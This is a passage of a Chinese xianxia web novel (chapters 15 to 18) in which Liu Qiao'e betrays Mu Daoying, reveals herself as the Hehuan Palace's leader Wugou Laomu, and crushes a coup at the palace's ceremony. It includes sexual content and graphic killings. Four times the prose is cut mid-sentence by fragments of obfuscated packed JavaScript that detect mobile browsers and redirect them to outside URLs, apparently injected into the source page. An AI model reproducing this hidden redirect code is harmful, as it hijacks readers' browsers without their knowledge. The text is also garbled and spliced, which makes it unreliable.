这些时日以来,慕道瑛多少也习惯了合欢宫的行事做派。只消看了一眼,便垂下眼睫,目不旁视,只瞧着自己的鞋尖,安静地行走在肉山欲海之中。 偏偏这在其他合欢宫弟子看来,却有种光风霁月般的,整洁的雅致。 说来也奇怪,这年轻人分明气质柔和,却隐隐有些距离感,便是有人想上来求欢,也莫名顾忌于他那文秀的冷淡,更疑心他是范舒云,李倾城二人的脔宠,生怕冒犯了此二人,不敢轻易动作。 不过范、李两人倒是因为其长得美,人缘好,这一路而来,早已被招呼了无数次。 一个杏脸桃腮,容彩照人的女弟子迎面走过来,手中擎着一大朵盛开的芍药。 见到范舒云,便笑吟吟地将芍药递到他面前,“范师兄,许久未见了,不知近来可好?” 范舒云一双桃花眼闪了闪,挑唇冲她笑,“这位师妹如此美貌,我怎么不记得我曾见过?” 那女弟子抿唇一笑,大胆发出邀约:“师兄记不记得倒是不妨事的,只是这大好的日子,师兄当真要辜负这春光吗?” 刘巧娥目含不屑,冷眼旁观。 慕道瑛不明所以。 觑出他的不解,刘巧娥冷冷一笑,“这是合欢宫的传统,接了这芍药便是同意与之双修了。” 慕道瑛:“可是——维士与女,伊其相谑,赠之以勺药之典?” 刘巧娥皱着脸转过头:“你在说什么?” 慕道瑛沉默半秒,“没什么。” 这句语出《诗经》,刘巧娥自然听不懂他唧唧歪歪到底在拽什么酸文。 “哼,”刘巧娥看向范舒云,“你且等着罢——” 等着什么? 慕道瑛不解其意,随着刘巧娥的视线瞧着范舒云跟随那女弟子远去。 好巧不巧,临行前正被刘巧娥挡住去路,范舒云扬眉:“让开。” 刘巧娥冷冷瞧他一眼,竟也忍气吞声,侧身让开一条小道。 范舒云与她擦肩而过。 慕道瑛留意到眼前这一幕,心底涌现出轻淡的歉疚。 和刘巧娥这样的人相处,标准就会放得很低。许是知晓她本性桀骜,难为她今日为助他二人脱逃,低调行事,多番忍耐。 “你的云山伴都被人叫走了,”刘巧娥转身朝向李倾城,“你还不走?” 李倾城妩媚一笑,“我急什么?该着急的难道不是你?急着将我支开是打算作什么?” 刘巧娥面色一沉。 话虽如此,李倾城倒也没真多待。过来求欢的美少年一多,她便肉眼可见地动摇起来。最后还是抵挡不住美色的诱惑,犹豫了一下,对身边一个绿衣少年道:“大典开始前,帮我盯紧着他们些,别叫他二人乱跑。” 那绿衣少年似乎是极为仰慕李倾城,唯其马首是瞻,闻言满口应承下来。 李倾城说完,便挑了个最顺眼的跟着走到了远处那一角凉亭下。 不多时的功夫,慕道瑛与刘巧娥身边的人便走了泰半,只剩下零星几个,仍在尽职尽责地监视着他们的一言一行。又以那绿衣少年神情极为肃穆,一双桃花眼炯炯有神,目不斜视。 留几人在身边,无疑多受掣肘。正当慕道瑛思忖要如何解眼下困局时,却见刘巧娥神情平静,并不以为意。 慕道瑛微微一怔:……平静? 刘巧娥性子激烈,为何不见她露出烦躁之态。 他顺她视线看去,却看到那范舒云正同几个男女嬉戏着,场面之龌龊放荡,令他有些生理不适地拢了眉头。 正待移开目光,布料变故遽生! 只见那范舒云原本伏在一女弟子身上忘情纠缠,却不知何故之间,他竟突然抽搐起来! 这一变故惊起了在场众人!女弟子一声惊叫,慌忙将范舒云推落在地,拢了衣服坐起。 众人眼睁睁看着范舒云如一尾垂死的鱼一般在地上不断挣扎抽搐,下摆血流不止,一时之间,所有人都面露惧色,不敢靠近。 李倾城留下的那几个跟班,明显也被眼前这一切吸引了注意力。 偌大的广场登时陷入了一片骚乱之中。 慕道瑛心中电光火石间划过个念头,还来不及细思,手臂突然被人一把拽住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063747|161721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘巧娥冷然道:“还不快走!” 趁着那绿衣少年等人没注意的间隙,慕道瑛跟随刘巧娥埋头俯身,快步穿梭在人群中,一眨眼的功夫,便如水滴入海,不见了踪迹。 离开前,慕道瑛匆忙向广场中心一瞥。 范舒云两腿0间涌出大滩鲜血,他扭曲的面容一点点变得灰白,直到最后抽动了两下,直至脱阳而亡,了无生迹。 二人一直跑到西门附近的山道旁,方才停下脚步。 回想方才最后所见,慕道瑛迟疑问:“此——是你所为?” 刘巧娥停下脚步,远望广场中心的乱象,脸上浮现出快意之色,“此人欺我辱我,今日合该有此报应!” 慕道瑛闻言,心神一凛,心底寒气翻涌,更伴随着一阵说不清道不明的失望。 “你可以给他个痛快。”他道。 刘巧娥不可置信地偏过头来:“痛快?!我凭什么要给他个痛快?!” 慕道瑛:“我不知你二人恩怨根底,不敢妄自评判。此人并非善类,你杀他或许情有可原,只是,杀人不过头点地,给他一个痛快,也是累积你一段功德。” 可以说,慕道瑛并非愚善之辈。多年行道生涯令他明白,有些恶人该杀就得杀。 只区别在于,不能行虐杀手段。 便是再穷凶极恶之人也不能。 “你懂什么?!”刘巧娥勃然大怒,“你知道我跟他之间的恩仇吗?凭什么站着说话不腰疼?” 这怒气来得莫名,她整个人的情绪突然都变得激烈起来。 他知道什么?!他只知道她跟范舒云前些时日的拳脚冲突罢了! 刘巧娥怒气冲冲,本拟说出不久前范舒云所为,可同慕道瑛黑白分明的双眸相对间,她心底反倒又涌出一股强烈的,不甘的心气。 这心气不叫她在慕道瑛面前服软。宁可慕道瑛误会了她去。 跟慕道瑛诉苦澄清,别开玩笑了! 她倒是宁愿他永远误解下去! 想到这里,她反倒品尝到一股心脏被扭紧了的酸涩快意。 不,这并非误解,倒不如说,这是她本来面目。 他最好早点认清她的真面目。 她恨恨道:“我宁可不要这一段功德,也要大仇得报的快意!” 慕道瑛果然轻轻摇了摇头:“从恶如崩,以此报复固然可逞一时之快,却会令人离恶更近一步,反损了自己福报。” 每令他误会一层,每将他推远一点,都令她心里感到一阵隐秘的微痛。 刘巧娥不屑一顾。 慕道瑛见无法说服她,便索性闭上了唇,不再徒费力气。 在这个档口,爆发矛盾冲突于他,于刘巧娥而言都并非好事。 他不太赞同刘巧娥的报复手段。 杀人不过头点地,这样做未免太过阴狠毒辣。 本以为其人性情不过些许激烈,若得人仔细教导,怀柔以待,未尝没有改邪归正的一日。 可眼下这一幕,却令他不得不重新审视起其人品行来。 前些时日的矛盾还未得到化解,今日又添新的冲突。 慕道瑛心下微寒,抿紧了唇,扪心自问。 ……将她介绍正道,究竟是对是错? 16.第 16 章 这个问题,目前来说,是没有答案的。 他的确已有些后悔当初轻浮之举,只是覆水难收,轻许的话更不该冒然回收。尤其是如刘巧娥之性格偏激之辈,更要多出十几分的小心。 反复无常,才是正断送了她从善之心。 他无意责备于她,只暗悔自己不该妄自许下承诺。 慕道瑛转念一想,自己毕竟不知晓这两人之间恩怨根底,还是不要枉加评论为妙。 事已至此,唯有先脱身方可再论其他。 于是,慕道瑛不再多言,刘巧娥也没再多说。 刘巧娥没多说,却因为她此刻对慕道瑛这个人都有了怀疑和不信任。 她自己的脾性她自己清楚。 她并不讨人喜欢。 哪怕有人短暂地来到她身边,最后也总要离她而去! 她存心认定了慕道瑛是厌她行事作风,如今所言,不过虚伪矫饰。 她从一目不识丁的乡野村夫,一路走来,不知受尽了多少耻辱冷眼。 她不知帝王将相的故事,却对“宁教我负天下人,休教天下人负我”的道理深以为然。 她与慕道瑛本就两个世界的人。 慕道瑛不赞同她行为处事,她也深恨着他的。 如今不过维持着微薄又脆弱的平衡。 而这平衡迟早一日就会打破。 如前日之白梦离,今日之范舒云,都不会是孤例。 是她跟慕道瑛环境所造就的截然不同的心性所导向的必然。 ——他嘴上说得漂亮,既看不起自己,自己又何必厚着脸皮非跟他走。 与其倒时被他轻鄙,划下距离。 倒不如自己主动打破! 刘巧娥闭了闭眼,恨恨地咬了咬牙。 一念既定,她一时之间,情绪翻涌,竟又激得她头疼欲裂,仿佛有什么潜藏着的东西亟待挣脱而出! 只她绝不肯在慕道瑛面前流露出一丝软弱。隔了一会儿,那大脑犹如被针刺的感觉这才渐渐散去。 倘若慕道瑛细心留意,必能注意到刘巧娥双眼清明,如拨云见雾,灵醒冷酷更胜于前。 两人就这样保持着微妙的平衡。一路向着西门的方向赶去。 明明一路倒也算顺遂,可慕道瑛却总有些惴惴难安之感。 这并非他杞人忧天,主要是因为,他平日里实在是太倒霉。 任谁也想不到,玉清观那位大名鼎鼎的玉剑丹心,其实是个彻头彻尾的倒霉蛋。 许是因为他出身优渥,天赋异禀,天生灵秀,好似将一切好处都占尽了,老天爷便要从其他地方找补回来。 慕道瑛每每下山,常常是路断桥塌,匪盗横行。 偏他又是个古道热肠,爱施以援手的。 那寻常人眼里再粗陋不堪的骗术,都能骗得慕道瑛心甘情愿地交出钱来。 不管是求乞的,葬父的,碰瓷的,卖冻的,诸如此类江湖伎俩,都能将慕道瑛骗个身无分文。 常常出门前还是仙风道骨,足不染尘的道长,回来时钱财散尽,衣裳褴褛,满身风霜。 玉清观师兄弟师姐妹们,私下里都忧愁,这骗骗财也就罢了,就怕慕师兄早晚有一天被骗色骗身。 故而,长久以往,每临要事,慕道瑛心头都萦绕一股不祥的预感,直觉老天爷必不会令自己如此顺遂。 临近西门前,两人特地换上了早已准备好的一身凡人粗布短衣。 他二人一男一女,年岁相仿,便索性扮成一对普普通通的凡人爱侣。 因合欢大典,观者如潮,连往日里偏僻的西门也人来人往,络绎不绝。 只是不比正门繁华,守卫也远不必正门上心。 原本照计划,二人乔装打扮之后,又有混淆咒法护身,只需低调行事,混出门去便可。 孰料,迎面正撞上一妇人携一幼子而来,幼子顽劣,跑跑跳跳,正冲刘巧娥撞来。 以她目力身手,躲开一个凡人冲撞自然绰绰有余,奈何身边人们挨挨挤挤,摩肩擦踵。 刘巧娥又怕暴露修行者的身份,一时之间竟没能躲开。 将那幼子一撞,竟正巧撞到个守卫面前。 慕道瑛第一时间便觉察出刘巧娥的异状,忙去搀扶。 “……娥娘,”尚未适应这过分亲密的称呼,青年顿了顿,飞快地,温言询问,“你可无恙?” 宛如关爱妻子的,最寻常的丈夫。 刘巧娥搭着他手臂,轻轻摇了摇头。 慕道瑛微微松了口气,干脆扶着刘巧娥顺人潮而出。 孰料,那守卫却蓦地叫住两人:“站住!” 也不知是这守卫值守多时,正百无聊赖,心血来潮,多管闲事。 还是慕道瑛这强大的运道又发挥了作用。 总而言之,这守卫瞧了两人一眼,倏懒散道:“你们,抬起头来。” 慕道瑛心下一沉,缓缓抬眸。 那是怎样一双眉眼,汇聚千山万水之灵秀,粗布麻衣,仍难掩神秀光彩。 守卫吃了一惊,露出惊艳之色。回过神来,又生出许多疑虑来。 凡人又怎会有如此容貌? 既有如此容貌,却粗布麻衣,遮头遮尾,必定有鬼! “什么人?!” 慕道瑛心知躲不过去,不论如何也要先将刘巧娥送出去再是。 “你先走。”青年轻声道,伴着掌心抵她背心往前一送。 慕道瑛身形后撤,一眨眼的功夫,在众人尖叫声中,便已同守卫交掌了三下。 起先的一个守卫不敌他掌力,败下阵来。 但更多的守卫却在此时合围而来。 那落败的守卫捂住胸口叫道:“那女的!那女的也别放跑!” 慕道瑛受伤在前,灵窍又多处被封,接连几场战斗下来,只觉胸口血气翻涌。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068782|161721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只想到刘巧娥受自己牵连,不论如何,也要先助力她脱困,唯有强行忍耐而已。 人群陷入莫大的骚乱。 慕道瑛踏罡步斗,暗以隐沦五假之术,以一敌十,在众守卫间辗转腾挪。 青年背纤腰细,身形飘忽,一如翩翩柳絮杨花。 但奈何双拳终难敌四手,突来一掌正中他前胸,慕道瑛喉口沤血,强咽了下去。 骈指雪白,当空一划,正当还指反击。 后心却突来一剑! 一掌一剑,一前一后,正将他前后阻断。 慕道瑛遽然抬眼! 回首相望,却对上一双冷酷双眸。 鲜血顺着他唇瓣淌下。 慕道瑛却无暇他顾,只紧紧盯着身后偷袭之人,执拗问:“为何?” 那人剑尖垂点,剑光倒映出寡淡刻薄的面容。 “慕道友行道多年,心性倒是纯善天真,今日,在下便教道友一个道理。”刘巧娥嘲道,“这道理便是—— “宁得罪君子,不得罪小人。” - 在场守卫都被这一变故惊呆了。 谁也没想到这年轻道子的同伴竟会突然反水。 正面面相觑,游移不定间。 为首的一个当即作出决定:“将这女的也一并拿下!” “谁敢?!”刘巧娥厉喝,袖中抖落块令牌。 那小统领面色一变:“这是——陈总管——” 掌大的令牌,通提成莲花状,花下游曳一条小鱼,衔食莲衣,莲蕊上书一个“陈”字。 这正是合欢宫大总管陈玉柔贴身玉牌。 刘巧娥道:“既认出来?还不闪开?” 在众人瞩目之下,刘巧娥抱起慕道瑛,转身往合欢宫而去。 慕道瑛面色苍白,薄唇紧闭,不断有鲜血顺着他嘴角淌下,明显内伤极重。 刘巧娥的动作不算温柔,一路抱着他纵高跃低,颠簸起伏。 慕道瑛却一声不吭。 “怎么?”刘巧娥嗤笑说,“慕道长怎么不肯说话了?是觉得被我这小人所骗,感到耻辱?” 慕道瑛沉默了一会儿,终于开口。 语气很淡,嗓音也虚弱。 “你自心知肚明,瑛又何必多言?” 刘巧娥勃然大怒! 低头看了眼怀里虚弱的青年男人。 见他错开视线,眼睫低垂,似乎吝于看她。 想不到一向仁善到有些龟毛的慕道瑛,竟也有如此伶牙俐齿,冷嘲热讽之时。 但今时不比往日。 刘巧娥只气了一瞬,便飞快平息了怒火。 她如今记忆恢复,又何必跟这个小角色置气? 是。 到现在为止,她全都想起来了。 她是刘巧娥。 也是名震东华仙门正道,魔门八宗的合欢宫之主——无垢老母! 17.第 17 章 刘巧娥今日临时反水,说来既是为今日之事所激,也是一早下定了决心的。 她化身刘巧娥,来到慕道瑛身边,既是巧合,也早有来由。 这世上没有人比她更熟知慕道瑛,她知晓他性格清雅端正,温柔敦厚。知晓他出生姑苏慕家,家中行十七,头顶上还有六个姐姐,家人昵称小十七。 她知晓他的喜好,知晓他最爱喝阳羡雪芽,有一把常年伴随他的琴,名曰“同物化”,他喜欢用的熏香是白檀,刚学字时练的是隶书《张迁碑》。 他生活之方方面面,乃至细枝末节,她都一清二楚,了熟于胸。 所以,她的化身,自见他第一面起便深恨他。 她素知晓他骨鲠内方,不肯顺从的性子,来到他身边,暗中打探灵元的消息,摸清他目下的处境,也是她的目的。 可惜,慕道瑛这人太迂板也太孝顺,唯独在事涉灵元一案上,嘴巴硬得堪比蚌壳。 她撬不出任何有用的信息,继续伪装在他身边已无任何意义。 毕竟,她本体已经突破了九重境界之第七境,今天一过,她无需再“躲心魔”,她的化身也将回归本体。 刘巧娥这个名字,她已经太久太久没曾用过了,久到这世上无一人知晓无垢老母的本名,竟是如此粗陋庸常如一村妇。 当然,这并不意味着这些天以来,她的所作所为,都是经过精心的矫饰。 实际上,这几日的所思所想,也大多出乎她的本心。 走到今日这一步,实在是两股意志相辅相成,彼此交织推进的结果。 “说起来,我还要多谢你。” 慕道瑛没有说话,他面上虽不显,心底却有些疑惑。多谢,多谢什么? 刘巧娥却无意多说。 慕道瑛受了重伤,皂色袖口垂落清瘦伶仃的手腕。抱在怀里,轻如一片羽毛。刘巧娥抱着他一路直插广场中央,临进场前,大袖一挥。 一道华光闪过,慕道瑛只觉眼前一黑,好似被从天而降的布幔遮住了头脸视线。他认出这招来历,当头一怔:这是——袖里乾坤? 袖里乾坤是一门极其高妙的法术神通,慕道瑛没想到刘巧娥竟会驭使此术。 她到底隐藏实力到了什么地步? 一眨眼的功夫,他便被刘巧娥以巧妙至极的神通术法,暗藏于袖中。 慕道瑛心底沉了沉。 是他失察,并未料到刘巧娥本来目的。 方才她插入他肋下那一击,其剑势之凌厉,绝非寻常之辈。 又是陈玉柔的令牌,又是这高阶的神通术法。 刘巧娥,不,这只是个假身份。 此人到底是谁,又有何目的? 慕道瑛心乱额蹙之际,已被刘巧娥带入广场中央。 方才的乱象已在守卫弟子到来之后迅速平息了下来。 范舒云的尸身早被人拖走。 刘巧娥宛如最寻常不过的弟子混迹在人群中。 自范舒云事发,还不等旁人就她与范舒云的恩怨怀疑发难,良辰已到。 钟磬之声自碧空飞落一响。 接连三响。 一高冠大髻,身披彩衣的女子在一众灵童玉女的簇拥下,缓缓登上祭坛,点插三柱明黄大香。 合欢大典,开始了。 - 女子璎珞宝妆,眉飞色扬。正是慕道瑛昔日所见之合欢宫副掌戚湄。 隔着刘巧娥云纱袖口,慕道瑛视野虽然模糊,却也依稀可见场中动向。 只见,广场玉坛之上,端坐数位真人。 当中一人,意态幽艳,风神妩媚,含笑曳情,正是这合欢宫中绝无仅有,地位超然的陈大总管,陈玉柔。 陈玉柔右手边,乃是位样貌儒雅的青袍文士,约莫三十上下的年纪,两鬓微白,眼神温和。 此人也姓程,但名一个洵字,据传是跟随无垢老母多年的男宠,深得其信任,是合欢宫中仅次于陈、戚之下第三人。 有了副掌门,大总管,这位便被合欢弟子呼之为“二老爷”。 二老爷之后,又是“三娘娘”。 三娘娘指的却不是一个人,而是一伙儿羊姓三胞胎姐妹。 只见这羊氏三女,个头胖瘦,眉眼鼻唇,毫无二致。一般的云鬓霓衣,一般的翠钗金簪,如工笔描画出来般的精细。 这四人如众星拱月一般,牢牢拱卫在无垢老母身边,组成了无垢老母的心腹班底。 合欢宫中如今派分为三。四人之后,便是戚湄手下之韦真人,封真人。 陈玉柔左手边,是一位鹤发童颜,姿容秀逸的道人,此人正是合欢宫中元老之一的罗隐仙。 罗隐仙之后下数真人,则不一一赘述。 戚湄微微含笑,似乎是极为志得意满,意气风发。 她眸风扫过场下,朗声开口: “吾乃合欢宫副掌戚湄。” 先声夺人之一句,令场下自戚湄出场起便蜂起的议论声为之一静。 自数千年前老祖立合欢大典起,循例,大典素来只由当任宫主主持。 无垢老母未曾现身便已足够惹人非议。 戚湄的越俎代庖,更令场下那敏锐灵醒些的微感不安。 “尧山戚氏之后。” “前任老宫主座下嫡传大弟子。” 戚湄话锋一转,骤然发难! “小人无垢,心怀叵测,值先任老宫主病重之际,暗下毒手,篡改掌门诏令!欺师灭祖!窃居高位!” 合欢宫六十甲子一度之大典当日。 合欢宫副掌戚湄,竟当着一众长老弟子的面,细数起当今掌门无垢老母,桩桩件件之罪行恶事之来。 实在是悚然听闻。 二老爷程洵遽然变色,霍然而起! “戚湄!今日合欢大典,你在此诽谤老母是何居心?” 程洵愠怒道:“老母继任乃是前任老宫主亲下的掌门诏令,白纸黑字,一清二楚。 “需在下亲自将掌门诏令捧来亲验吗?!” 罗隐仙皮笑肉不笑道:“程长老。切勿动怒,今日大家都到场,本座到还有个疑问要向长老求证呢。” 除却戚、罗、老母三派腹心,余下的那几个平日里跨马骑墙,浑水摸鱼的长老都觉察出不对劲。恨不得将自己缩成个鹌鹑,万不引人注意才好。 罗隐仙冷笑一声,竟缓缓站起身,掌翻烟气,直射出一道莹莹绿光! 那绿光钻头摆尾,织成一张铺天大网,兜头朝程洵罩下。 程洵怎会料到他竟如此大胆,敢在众目睽睽之下动武,一时不察,竟被他拿个正着。 陈玉柔与羊氏三娘娘们遽然变色。 羊氏三女欲化作青烟遁去,却也先后被早有准备地封、韦等真人拦下。 与此同时,潜藏在台下人群中的戚、罗手下人马也迅速作出了动作。 许多老母亲信子弟尚未回过神来,便被同门攻其不备,丧失了抵抗能力。 另有四队弟子,自四面八方杀出,将整个广场中心围如铁桶一般。 一时之间,台上局势翻天覆地,台下也是惊叫迭起,沸反盈天。 戚湄唇角漾开一抹满意的微笑。 罗隐仙缓缓向人前道:“老宫主故去前,曾私底下向我透露过掌门人选。 “那时,宫主亲口对我说。戚副掌德才兼备,可担大任。望我能尽心辅佐——” “本座倒是想问问,”罗隐仙高声道,“这掌门诏令怎么突然改成了无垢的姓名呢!” 程洵:“你——!空口无凭,老宫主既已故去,岂容你们这等叛逆之徒颠倒黑白,信口胡说!” 戚湄冷哂一声:“自无垢继任以来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15077362|161721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,其所作所为,相信诸位兄弟姐妹有目共睹!其人阴狠毒辣,上害亲师,下害同门,门中上下,深以为苦。” 戚湄以正统之态,奉天之姿,上敬天地,下拜故去之老宫主,又有罗隐仙这等众所周知的前任宫主老人背书。 其人言之凿凿,无疑占尽天时地利人和的优势。 “本座既为师尊嫡传大弟子,岂能坐视不理?” “好在天理昭昭,报应不爽,今日,其人冲关失败,自被天收!” 说罢,嗓音陡然转厉,伸手一指,直向远处白塔! 那座高逾百尺,群山环抱下的衔云宝塔,在众人瞩目下静静伫立着。 伤好之后的白梦离隐于人群中,翘首而望,心中暗暗焦急。 那女魔头妖法高深,韩郎无恙否?当真能一击得手,坏她闭关大阵,全身而退吗? 众人不解戚湄之意,只循着她视线望向无垢老母闭关的那座白塔。 戚湄自信微笑,以成竹在胸的姿态,眼看那座白塔突然从内部“轰然”一声,瓦飞墙断,炸成几截! 慕道瑛困于袖中,未曾想今日得见合欢宫内部争权夺利的现场,不免暗自心惊。 巨大的爆炸声造成强烈的气流,裹挟着碎瓦残砖不断抛向四面八方,气浪过处,群山震动,飞鸟死绝,林木尽摧。 在这剧烈的,似乎足以震碎天地的爆炸声中,广场众人竟出乎意料地安静了下来。 任谁都知晓,无垢老母此时正在塔中闭关,那老母—— 戚湄这才转过身来,朝天一拜,“无垢小人,多行不义必自毙! “无垢已死! “自今日起,凡我同门,若执迷不悟,仍助纣为虐者,则以同罪论处。 “弃暗投明者!既往不咎!” “无垢已死!”“无垢已死!”人群中,传来山呼海啸一般的呼喊声,声浪由弱渐强。 众人原本正被这变故惊丢了魂魄,犹豫不定间,见塔飞人亡,忙打了个寒颤,知机识务地跟着喊叫起来。 慕道瑛抬眸望见陈玉柔面色倒还算镇静,又见刘巧娥唇角抿着个有些冷酷的,古怪的微笑。隐约觉察事情似乎没有这般简单。 刘巧娥明显也是无垢手下。无垢一派,只怕是引蛇出洞,只待一网打尽。 无垢老母究竟藏身何处?又打算何时出手? 正思量间,天空突然飞来一道黑影。 人群陡然炸开一声惊呼! “什么人?!”罗隐仙飞身而起,绿芒旋飞,正待拦阻。 那道黑影去势却极为凌厉,裹挟一股煌煌赫赫的气势,重重砸入广场正中。 玉砖断折,陡然显现出一深约一丈,径长三丈的大坑。 尘烟散去,坑内传来人痛苦的咳喘呻吟。 原来这黑影并不是众人所想的什么杀器援军,而是个全身筋骨寸断的年轻男人! 这男人身受重伤,浑身浴血,却依稀可见其风姿俊秀。 而将这具濒死之体往众人面前一丢之人,此时方才现身。 天空传来女人阴沉沉的冷笑。 “罗长老,戚副掌,你们以为单凭你们几个也能算计我无垢不成?” 程洵陡然翻掌为攻,切断身上网罩。 羊氏三娘娘也各自祭出袖中法器,灵珠、羽扇,宝瓶在空中忽来飞去,流光纵横,直打得封、韦几人疲于招架,应接不暇。 台下,一众无垢亲信子弟不约而同翻守为攻。 方才挟制之人反成受挟之身。 而在天之尽头。 蹁跹白影,如一抹不祥的丧影,遮蔽住太阳云彩。 顷刻间。 日月无光,天地无色。 白影缓落。 威压笼罩大地,尘埃嗡鸣,气浪推出方圆百里。 在场众人骇然色变!! 18.第 18 章 罗隐仙忿然指天怒骂:“无垢你图谋篡逆!暗害前任老宫主!竟还不知悔改吗?!” “图谋篡逆?”白影降下,一乌发白衣的女子,款款走近前来,“今日图谋篡逆的,好像是罗长老你等吧?” 四下无风,她衣袂却仿若被无形气浪托起,如莲瓣轻绽。 女人一头乌发未束,松松逶迤腰后,素面朝天,不着粉黛,不饰钗环。 在众人的目光望向无垢老母时,慕道瑛自也不能免俗。 百闻不如一见,对于这位传说中的无垢老母,慕道瑛毕竟年轻,不可不谓好奇。 但眼前的女人,确乎有些超出了他的意料。 据说,无垢老母生性孤僻,并不常现身人前。不少合欢宫子弟还是头一次亲见老母玉容。 以常人所设想,这位一宫之主,怎么也是个姿容艳冶,婀娜妩媚的绝色佳人。 然而,出现在众人面前的女人打扮却并不艳丽。 她身量并不算高,以慕道瑛看来,不过堪堪到他肩头。 却很“瘦”。 这里的“瘦”却并非“瘦骨嶙峋”的瘦。 而是一种幽峭枯寂的瘦冷。 其眉眼倒也算美,却是一种奇诡凄艳之美。 如“顶峰攒雪剑,血华啼杜宇”,冷透了。 这是个瘦小的,冷沉的女人。 没有男人在见到无垢老母的第一眼不为其意蕴风致所摄。 回过神来,却无人敢造次。 其人之意态,只可远观不可亵玩。令人不寒而栗,望而生畏。 慕道瑛正微讶间,一直沉默的刘巧娥却突然发难,语气听起来有几分嗔怒:“你在看什么?” 慕道瑛心无他念,坦然直言:“老母与在下所想,殊为不同。” 孰料,刘巧娥竟更生气了:“你还敢肖想她?!” 慕道瑛:“……”他觉得自己很无辜。 且不论他对无垢老母全无绮念,刘巧娥又是从何处得出“肖想”的结论的。 而且她的语气听起来又为何……说是生气倒也不尽然,慕道瑛迟疑皱眉,倒有些像……恼羞成怒? - 戚湄惊怒交加:“无垢,方才算你走运,逃过一劫!但躲得过初一,躲不过十五,今日又看你能逃到哪里去!” “笑话!”刘巧娥疾言厉色,一声冷喝,只见一朵硕大无朋的雪白莲花冲出顶门,腾空而起! 罗隐仙见状,骇然变色,知晓刘巧娥今日恐怕轻易放他不过了。 怎会如此?!罗隐仙心中沉沉,忍不住反复叩问。 怎会如此? 白梦离也忍不住在心中质问。 那被刘巧娥丢出的年轻男人,痛苦地倒在深坑中,进气多,出气少。 白梦离见之心如刀绞,泪如雨下,再也不顾遮掩,飞身上前,哀哀呼唤:“韩郎!” 怎会如此?她六神无主,心乱如麻。 今日这一切,实在是戚湄等人精心布置之下的结果。 无垢老母此行闭关,没带包括二老爷程洵在内的任何男宠,唯独只带了新进的新欢韩云澈为其护阵。 韩云澈入宫不久,却深得老母信重。 修士修行是逆天而为。每次冲关时,都是修士最脆弱的时候。境界越高,也最容易受天道反噬。 因此高阶的修士冲关时,都要布下大阵,一来聚集灵气,减少天道的反噬,二来避免外界的干扰。 原本,是由韩云澈在阵法中做下手脚,无垢老母不察,必定遭到阵法反噬,阵毁人亡,在方才那一场爆炸中尸骨也无存。 可没想到,无垢非但没死,如今快死的人反倒成了韩云澈! 退。 又能退到哪里? 无垢老母此番破阵出关,修为俨然已迈入了七重境之洞冥境。这一朵莲花来势极为凶悍。 一照面,罗隐仙便知难以应对,忙纵起遁光,转身后撤。 谁曾想这一朵莲花去势之急远超他之想象,任由他几番多催遁光,却也逃不开莲花的追咬。 他飞出去几丈,那莲花周身光芒便暴涨几丈。 只一刹的功夫,莲瓣便已触及他衣角,罗隐仙面如土色,胆丧魂飞,拼了命地挣脱。 莲瓣轻轻一合,却将他整个人包裹在莲蕊中央。 下一息。 罗隐仙骨骼寸断,血肉飞溅,暴毙当场。 戚湄如遭重击,眼前一黑,险些晕了过去。 完了。 全完了。 可困兽犹斗,又岂能坐以待毙,纵使心底知晓反盘的可能性已微乎其微。 戚湄还是强打起了精神,虚张声势道:“无垢你当真以为杀了个罗隐仙便能改变你今日败局吗?!” “食血宗弟子已在门外。你今日之举,不过困兽之斗!” “戚师妹。”刘巧娥眼神古怪,目露微悯,“你当真以为本座只有这一手吗?” 戚湄心头一跳。刘巧娥她这是什么意思? 她话音方落,远处四门方向忽然传来一阵喊打喊杀之声。 浓黑色的魔气翻涌成云,腾空而起。 戚湄今日敢行此图谋,自然不可能只做这些准备。 早在数月前,她便与魔门八宗中的食血宗暗通款曲。 虽说一直有传言刘巧娥跟魔门有些暧昧,但魔门内部并不团结,八宗之间互有攻伐,也是家常便饭。 如今见早就安排下的食血宗援军终于有了动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“戚副掌结党营私,图谋不轨,阴谋败露之后,显然已经疯了。”刘巧娥面色不变地收回身子,走到台前,下了出关之后的第一道命令,“着令收押,其余同党,一律按助纣为虐论处。” 陈玉柔的动作很快,会同二老爷,三娘娘,很快便一一安排下去。 跟随戚湄、罗隐仙一同举事的几位真人,此时也早已放弃了抵抗,被一并关押了下去。 而今,场上唯一所剩之人便是那深坑中的韩云澈。 山风呼啸而过,几万人的广场中央,竟无一人敢发出声音。 只有白梦离跪在韩云澈身边哭泣不止。 